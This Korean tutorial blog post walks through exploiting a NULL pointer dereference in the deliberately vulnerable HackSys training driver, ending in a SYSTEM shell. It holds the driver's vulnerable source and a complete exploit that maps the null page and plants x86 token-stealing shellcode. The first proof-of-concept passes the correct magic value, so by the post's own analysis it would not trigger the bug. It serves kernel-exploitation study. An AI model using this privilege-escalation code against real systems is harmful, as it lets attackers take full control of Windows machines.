[Kernel Exploitation] NULL pointer Dereference



출처: https://www.fuzzysecurity.com/tutorials.html


본 포스팅은 fuzzysecurity Tutorials part 12 -> NULL pointer Dereference를 분석 및 의역하여 작성하였습니다. 

Sample Windows Driver code에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.



Step 1. 취약점  분석

다음 소스를 살펴보면 ExFreePoolWithTag() 함수를 거쳐 object를 free시켜준 다음 pointer를 NULL로 초기화 시켜줍니다. 하지만 밑에서 object에 대한 Callback함수를 아무런 필터링 없이 호출합니다. 

MagicValue를 맞췄을 경우, Callback 함수가 정상적인 함수로 초기화가 되므로 Free를 시켜준 이후에도 오류가 나지 않지만 MagicValue를 맞추지 않아 초기화되지 않은 Callback 함수를 호출하게 되어 오류가 발생합니다.

따라서 Callback 함수 주소 부분을 변조시키면 Shellcode 실행이 가능해집니다.

NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
	ULONG UserValue = 0;
	ULONG MagicValue = 0xBAD0B0B0;
	NTSTATUS Status = STATUS_SUCCESS;
	PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;

	PAGED_CODE();

	__try {
		ProbeForRead(UserBuffer,
			sizeof(NULL_POINTER_DEREFERENCE),
			(ULONG)__alignof(NULL_POINTER_DEREFERENCE));
		NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
			ExAllocatePoolWithTag(NonPagedPool,
				sizeof(NULL_POINTER_DEREFERENCE),
				(ULONG)POOL_TAG);

		// Pool tag를 가진 object 할당

		if (!NullPointerDereference) {
			DbgPrint("[-] Unable to allocate Pool chunk\n");

			Status = STATUS_NO_MEMORY;
			return Status;
		}
		else {
			DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
			DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
			DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
			DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
		}
		UserValue = *(PULONG)UserBuffer;

		DbgPrint("[+] UserValue: 0x%p\n", UserValue);
		DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
		if (UserValue == MagicValue) {

			// UserValue와 MagicValue가 맞을 때 Callback 함수가 초기화 된다.
			NullPointerDereference->Value = UserValue;
			NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

			DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
			DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
		}
		else {
			DbgPrint("[+] Freeing NullPointerDereference Object\n");
			DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
			DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
			ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

			// 할당된 object free
			NullPointerDereference = NULL;
		}

#ifdef SECURE

		if (NullPointerDereference) {
			NullPointerDereference->Callback();
		}

		// Secure할 때는 NullPointerDereference object가 NULL이 아닐 경우에

		// Callback 함수 호출
#else
		DbgPrint("[+] Triggering Null Pointer Dereference\n");
		NullPointerDereference->Callback();

		// 그대로 Callback 함수를 호출해준다. 
#endif
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		Status = GetExceptionCode();
		DbgPrint("[-] Exception Code: 0x%X\n", Status);
	}

	return Status;
}

 

IDA에서 보면 ExFreePoolWithTag() 호출 후 xor esi, esi를 거치는 것을 알 수 있습니다. 이 instruction은 object pointer를 NULL로 초기화하는 것으로 볼 수 있습니다.

 

 

 

call dword ptr [esi + 4] instruction부분을 보면 이미 esi는 NULL로 초기화되어 있습니다. 이는 Object pointer 주소값을 나타내며 그 주소값에서 4bytes만큼 뒤에 있는 값을 부르게 됩니다. 여기서 알 수 있는 사실은 Object pointer 4bytes 뒤 callback 함수 주소가 위치한다는 것입니다.

 

 

 

만약 MagicValue를 다르게 보낸다면 object pointer값 즉, esi register 값이 0이 된 상태에서 4bytes 뒤를 실행하므로 0x4 주소값 부분을 실행시키게 됩니다. 그렇다면 0x4 부분에 shellcode 주소를 써넣어 EIP를 변조시킬 수 있습니다.

 

Step 2. Exploit

0x4 주소 부분에 data를 넣어 EIP를 변조시킬 수 있는 것은 위에서 확인했습니다.

NtAllocateVirtualMemory() 함수를 이용해서 NULL 주소값에 해당하는 memory를 할당받고 data를 넣어야 합니다.

 

0x4 주소 부분에 0xDEADBEEF가 들어가는 POC code를 작성했습니다.

#include "stdafx.h"

#include <STDIO.H>
#include <WINDOWS.H>
#include <WINIOCTL.H>
#include <TLHELP32.H>
#include <CONIO.H>

#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
// IOCTL

typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(

	HANDLE ProcessHandle,

	PVOID *BaseAddress,

	ULONG_PTR ZeroBits,

	PULONG AllocationSize,

	ULONG AllocationType,

	ULONG Protect

	);
// NtAllocateVirtualMemory() 함수 포인터 정의


int _tmain(int argc, _TCHAR* argv[])

{

	DWORD lpBytesReturned;

	LPCSTR lpDevicename = (LPCSTR)"\\\\.\\HackSysExtremeVulnerableDriver";

	PUCHAR lpInBuffer = NULL;

	LONG magicvalue = 0xBAD0B0B0;

	HMODULE hNtdll = GetModuleHandle("ntdll.dll");

	PVOID BaseAddress = (PVOID)0x1;

	SIZE_T Size = 0xff;

	HANDLE hDriver = CreateFile(lpDevicename,

		GENERIC_READ | GENERIC_WRITE,

		FILE_SHARE_READ | FILE_SHARE_WRITE,

		NULL,

		OPEN_EXISTING,

		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,

		NULL);
	// Driver 연결


	if (hDriver == INVALID_HANDLE_VALUE) {

		printf("[!] Fail to get device handle: 0x%x\n", GetLastError());

	}



	printf("[] hDriver: 0x%x\n", hDriver);



	PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
	// NtAllocateVirtualMemory() 주소 로드


	if (!NtAllocateVirtualMemory) {

		printf("[!] NtAllocateVirtualMemory error: 0x%x\n", GetLastError());

		return 0;

	}



	NTSTATUS ntStatus = NtAllocateVirtualMemory(

		GetCurrentProcess(),

		&BaseAddress,

		0,

		&Size,

		MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,

		PAGE_EXECUTE_READWRITE
	);


	if (ntStatus != 0) {

		printf("[!] Memory allocation error: 0x%x\n", GetLastError());

		CloseHandle(hDriver);

		FreeLibrary(hNtdll);

		return 0;

	}



	PVOID nullPointer = (PVOID)0x4;

	*(PULONG)nullPointer = 0xDEADBEEF;
	// 0x4 주소에 data 입력


	DeviceIoControl(hDriver,

		HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,

		(LPVOID)&magicvalue,

		0,

		NULL,

		0,

		&lpBytesReturned,

		NULL);


	CloseHandle(hDriver);

	return 0;

}

 

code를 실행시키고 breakpoint를 걸어 확인해보면 아래와 같이 0xdeadbeef 값이 들어갑니다. 그렇다면 call dword ptr [esi + 4] 부분에서 0xdeadbeef가 실행됩니다.

 

 

 

다음의 Exploit code를 작성하고 실행시켜 보았습니다.

#include <STDIO.H>
#include <WINDOWS.H>
#include <WINIOCTL.H>
#include <TLHELP32.H>
#include <CONIO.H>

#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)

typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
	HANDLE ProcessHandle,
	PVOID *BaseAddress,
	ULONG_PTR ZeroBits,
	PULONG AllocationSize,
	ULONG AllocationType,
	ULONG Protect
	);

VOID TokenShellcode() {
	__asm {
		pushad; Save registers state

		; Start of Token Stealing Stub
		xor eax, eax; Set ZERO
		mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
		; _KTHREAD is located at FS : [0x124]

		mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

		mov ecx, eax; Copy current process _EPROCESS structure

		mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
		mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

			mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
			; with SYSTEM process nt!_EPROCESS.Token
			popad; Restore registers state
	}
}
// shellcode 
int main(int argc, CHAR* argv[])
{
	DWORD lpBytesReturned;
	LPCSTR lpDevicename = (LPCSTR)"\\\\.\\HackSysExtremeVulnerableDriver";
	PUCHAR lpInBuffer = NULL;
	LONG magicvalue = 0xBADFB0B0;
	HMODULE hNtdll = GetModuleHandle("ntdll.dll");
	PVOID BaseAddress = (PVOID)0x1;
	SIZE_T Size = 0xff;

	HANDLE hDriver = CreateFile(lpDevicename,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);

	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Fail to get device handle: 0x%x\n", GetLastError());
	}

	printf("[] hDriver: 0x%x\n", hDriver);

	PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

	if (!NtAllocateVirtualMemory) {
		printf("[!] NtAllocateVirtualMemory error: 0x%x\n", GetLastError());
		return 0;
	}

	NTSTATUS ntStatus = NtAllocateVirtualMemory(
		GetCurrentProcess(),
		&BaseAddress,
		0,
		&Size,
		MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
		PAGE_EXECUTE_READWRITE
	);

	if (ntStatus != 0) {
		printf("[!] Memory allocation error: 0x%x\n", GetLastError());
		CloseHandle(hDriver);
		FreeLibrary(hNtdll);
		return 0;
	}

	PVOID nullPointer = (PVOID)0x4;
	*(PULONG)nullPointer = (ULONG)&TokenShellcode;

	DeviceIoControl(hDriver,
		HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
		(LPVOID)&magicvalue,
		0,
		NULL,
		0,
		&lpBytesReturned,
		NULL);

	CloseHandle(hDriver);

	system("cmd.exe");

	return 0;
}

 

권한이 상승된 shell을 얻는데 성공하였습니다. 

 

이 글을 공유하기

댓글